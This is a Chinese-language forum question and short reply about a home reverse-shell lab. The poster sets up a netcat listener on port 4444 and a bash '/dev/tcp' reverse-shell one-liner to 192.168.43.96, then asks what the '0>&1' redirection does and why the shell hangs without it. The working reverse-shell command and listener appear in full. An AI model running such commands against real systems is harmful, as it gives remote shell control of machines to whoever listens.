各位好我在遠端執行shell實驗的時候遇到了一個stdin stdout 的小問題
1.我有一台攻擊機 window 裝 netcat
//監聽 4444 端口
nc -lvnp 4444
2.另一台kali linux 為受害者 上面先開啟bash 命令行
(這邊有幾個小坑
1.我的kali 打開左上角 terminal 為sh
2./dev/tcp/{IP}/{PORT} 是一個只存在bash 裡面的虛擬檔案 sh 是沒有的
他的功能是向指定IP 端口 發送數據。)
所以下面的命令是用 bash 的terminal 環境下執行的
可以反彈一個shell
bash -i >& /dev/tcp/192.168.43.96/4444 0>&1
命令拆解說明:
bash -i 是交互式 terminal
>&
是不論 bash -i 的回顯結果對的或錯的都作為輸出
/dev/tcp/192.168.43.96/4444 就是把上面的輸出 都丟到我的攻擊機
0>&1 這個地方不是很明白 (如果沒猜錯就是 stdin 但具體不知道是哪些字串)
stdin stdout說明
https://www.youtube.com/watch?v=5za6eRdHjpw
為什麼這句少了 0>&1
bash -i >& /dev/tcp/192.168.43.96/4444
我的netcat 是可以監聽得到但是就卡住了。
不好意思問題有點複雜
希望有人知道這個問題。
reverse shell
遙控端(就是nc -lvnp 4444這個動作),他沒有卡住,只是監聽中。
要被控端發送連接訊號,這是時候遙控端才會收到。